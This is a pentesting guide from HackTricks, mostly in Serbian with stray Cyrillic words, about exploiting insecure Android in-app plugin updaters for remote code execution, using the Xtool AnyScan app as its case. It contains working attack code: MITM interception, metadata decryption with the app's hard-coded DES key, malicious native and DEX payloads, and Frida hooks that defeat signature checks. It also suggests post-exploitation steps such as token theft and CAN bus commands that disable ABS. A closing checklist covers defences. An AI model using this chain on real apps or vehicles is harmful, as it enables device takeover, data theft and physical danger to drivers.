hacktricks/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md

12 KiB
Raw Blame History

Insecure In-App Update Mechanisms Remote Code Execution via Malicious Plugins

{{#include ../../banners/hacktricks-training.md}}

Mnoge Android aplikacije implementiraju sopstvene “plugin” ili “dynamic feature” update kanale umesto da koriste Google Play Store. Kada je implementacija nesigurna, napadač koji može da presretne ili izmeni update saobraćaj može da isporuči proizvoljan native ili Dalvik/ART kod koji će biti učitan unutar procesa aplikacije, što dovodi do potpunog Remote Code Execution (RCE) na handsetu — i u nekim slučajevima i na bilo kojem eksternom uređaju kojim aplikacija upravlja (automobili, IoT, medicinski uređaji …).

Ova stranica sažima realan lanac ranjivosti pronađen u Xtool AnyScan automotive-diagnostics app (v4.40.11 → 4.40.40) i generalizuje tehniku tako da možete da audit druge Android aplikacije i weaponise pogrešnu konfiguraciju tokom red-team angažmana.


0. Quick triage: does the app have an inapp updater?

Statički indikatori za traženje u JADX/apktool:

  • Stringovi: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
  • Mrežni endpointi poput /update, /plugins, /getUpdateList, /GetUpdateListEx.
  • Crypto helperi blizu update putanja (DES/AES/RC4; Base64; JSON/XML packs).
  • Dinamički loaderi: System.load, System.loadLibrary, dlopen, DexClassLoader, PathClassLoader.
  • Unzip putanje koje zapisuju pod app-internal ili external storage, pa zatim odmah učitavaju .so/DEX.

Runtime hooks to confirm:

// Frida: log native and dex loading
Java.perform(() => {
const Runtime = Java.use('java.lang.Runtime');
const SystemJ = Java.use('java.lang.System');
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');

SystemJ.load.overload('java.lang.String').implementation = function(p) {
console.log('[System.load] ' + p); return this.load(p);
};
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
};
Runtime.load.overload('java.lang.String').implementation = function(p){
console.log('[Runtime.load] ' + p); return this.load(p);
};
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
return this.$init(dexPath, optDir, libPath, parent);
};
});

1. Identifikacija nesigurnog TLS TrustManager-a

  1. Dekompajlirajte APK pomoću jadx / apktool i pronađite mrežni stack (OkHttp, HttpUrlConnection, Retrofit…).
  2. Potražite prilagođeni TrustManager ili HostnameVerifier koji bezpogovorno veruje svakom sertifikatu:
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
  1. Ako je prisutno, aplikacija će prihvatiti bilo koji TLS certificate → možete pokrenuti transparentni MITM proxy sa self-signed cert:
mitmproxy -p 8080 -s addon.py  # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080  # on rooted device / emulator

Ako je TLS pinning primenjen umesto unsafe trust-all logic, pogledajte:

{{#ref}} android-anti-instrumentation-and-ssl-pinning-bypass.md {{#endref}}

{{#ref}} make-apk-accept-ca-certificate.md {{#endref}}


2. Reverse-Engineering Update metapodataka

U slučaju AnyScan, svako pokretanje aplikacije pokreće HTTPS GET ka:

https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx

Telo odgovora je XML dokument čiji <FileData> чворови сadrže Base64-encoded, DES-ECB encrypted JSON који описuje svaki dostupan plugin.

Tipični koraci:

  1. Pronađite crypto routine (npr. RemoteServiceProxy) i otkrijte:
  • algoritam (DES / AES / RC4 …)
  • način rada (ECB / CBC / GCM …)
  • hard-coded ključ / IV (obično 56bit DES или 128bit AES konstante)
  1. Ponovo implementirajte funkciju u Pythonu da dešifrujete / šifrujete metapodatke:
from Crypto.Cipher import DES
from base64 import b64decode, b64encode

KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A"  # 56-bit key observed in AnyScan

def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))

def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()

Notes seen in the wild (20232025):

  • Metadata je često JSON-within-XML ili protobuf; weak ciphers i static keys su uobičajeni.
  • Mnogi updaters prihvataju plain HTTP za stvarni payload download čak i ako metadata dolazi preko HTTPS.
  • Plugins često unzipuju u app-internal storage; neki i dalje koriste external storage ili legacy requestLegacyExternalStorage, što omogućava cross-app tampering.

3. Craft a Malicious Plugin

3.1 Native library path (dlopen/System.load[Library])

  1. Odaberite bilo koji legitimni plugin ZIP i zamenite native library vašim payload-om:
// libscan_x64.so  constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
  1. Ažurirajte JSON metapodatke tako da "FileName" : "PWNED.zip" i "DownloadURL" upućuju na vaš HTTP server.
  2. Ponovo šifrujte + Base64kodirajte izmenjeni JSON i kopirajte ga nazad u presretnuti XML.

3.2 Dex-based putanja plugina (DexClassLoader)

Neke aplikacije preuzimaju JAR/APK i učitavaju kod preko DexClassLoader. Napravite maliciozni DEX koji se aktivira pri učitavanju:

// src/pwn/Dropper.java
package pwn;
public class Dropper {
static { // runs on class load
try {
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
} catch (Throwable t) {}
}
}
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex  # the updater will fetch this

Ako cilj pozove Class.forName("pwn.Dropper") vaš statički inicijalizator se izvršava; u suprotnom, reflektivno izlistajte učitane klase pomoću Frida i pozovite izvezeni metod.


4. Isporuka Payload-a pomoću mitmproxy

addon.py primer koji neprimetno zamenjuje originalne metapodatke:

from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()

def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)

Pokrenite jednostavan web server da hostujete zlonamerni ZIP/JAR:

python3 -m http.server 8000 --directory ./payloads

Kada žrtva pokrene aplikaciju она će:

  • preuzeti наш falsifikovani XML preko MITM канала;
  • dešifrovati i parsirati га користећи hard-coded crypto;
  • preuzeti PWNED.zip или plugin.jar → распаковати у приватно складиште;
  • učitati uključeni .so или DEX, odmah izvršavajući наш код са permisijama aplikacije (camera, GPS, Bluetooth, filesystem, …).

Pošto је plugin keširan на диску backdoor opstaje после ponovnog pokretanja и pokreće се svaki пут кад korisnik изабере одговарајућу функцију.


4.1 Zaobilaženje provera potpisa/hash-a (kada su prisutne)

Ako updater validira potpise ili hash-eve, hook-ujte verifikaciju tako da uvek prihvata sadržaj napadača:

// Frida  make java.security.Signature.verify() return true
Java.perform(() => {
const Sig = Java.use('java.security.Signature');
Sig.verify.overload('[B').implementation = function(a) { return true; };
});

// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
const Arrays = Java.use('java.util.Arrays');
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});

Takođe razmotrite stubbing vendor metoda kao što su PluginVerifier.verifySignature(), checkHash(), or shortcircuiting update gating logic in Java or JNI.


5. Ostale površine napada u mehanizmima za ažuriranje (20232025)

  • Zip Slip path traversal pri ekstrakciji pluginova: zlonamerne stavke kao ../../../../data/data/<pkg>/files/target mogu prepisati proizvoljne fajlove. Uvek sanitizujte putanje stavki i koristite allowliste.
  • Spoljno skladištenje za staging: ako aplikacija upisuje arhivu na external storage pre učitavanja, bilo koja druga aplikacija može da je manipuliše. Scoped Storage ili interno skladište aplikacije to izbegavaju.
  • Cleartext downloads: metadata preko HTTPS ali payload preko HTTP → jednostavna MITM zamena.
  • Nepotpune provere potpisa: poređenje samo jednog hasha fajla, a ne cele arhive; nepripajanje potpisa developer ključu; prihvatanje bilo kog RSA ključa prisutnog u arhivi.
  • React Native / Webbased OTA sadržaj: ako native bridgeovi izvršavaju JS iz OTA bez stroge potpisne verifikacije, moguće je izvršenje proizvoljnog koda u kontekstu aplikacije (npr. insecure CodePushlike tokovi). Obavezno odvojeno potpisivanje updateova i stroga verifikacija.

6. Ideje za posteksploataciju

  • Ukradite session cookies, OAuth tokene, ili JWTove koje aplikacija čuva.
  • Spustite secondstage APK i tiho ga instalirajte preko pm install ako je moguće (neke aplikacije već deklarišu REQUEST_INSTALL_PACKAGES).
  • Zlorabite povezani hardware u AnyScan scenariju možete poslati proizvoljne OBDII / CAN bus komande (otključavanje vrata, onemogućavanje ABSa, itd.).

Kontrolna lista za detekciju i mitigaciju (blue team)

  • Izbegavajte dynamic code loading i outofstore updates. Prefer Playmediated updates. Ako su dynamic plugins neophodni, dizajnirajte ih kao samopodatkovne bundleove i držite izvršni kod u base APKu.
  • Primorajte ispravan TLS: bez custom trustall managera; primenite pinning gde je moguće i hardened network security config koji zabranjuje cleartext saobraćaj.
  • Ne preuzimajte izvršni kod van Google Play. Ako morate, koristite detached update signing (npr. Ed25519/RSA) sa ključem koji drži developer i verifikujte pre učitavanja. Bindujte metadata i payload (dužina, hash, verzija) i u slučaju neuspeha fail closed.
  • Koristite modernu kriptografiju (AESGCM) sa permessage nonces za metadata; uklonite hardkodirane ključeve iz klijenata.
  • Potvrdite integritet preuzetih arhiva: verifikujte potpis koji pokriva svaki fajl, ili barem verifikujte manifest SHA256 hasheva. Odbacite dodatne/neosnovane fajlove.
  • Čuvajte preuzimanja u appinternal storage (ili scoped storage na Android 10+) i koristite dozvole fajlova koje sprečavaju crossapp manipulaciju.
  • Branite se od Zip Slip: normalizujte i validirajte zip entry putanje pre ekstrakcije; odbacite apsolutne putanje ili .. segmente.
  • Razmotrite Play “Code Transparency” da omogućite vama i korisnicima da verifikuju da li DEX/native kod koji je isporučen odgovara onome što ste izgradili (dopuna, ali ne zamena APK signinga).

References

{{#include ../../banners/hacktricks-training.md}}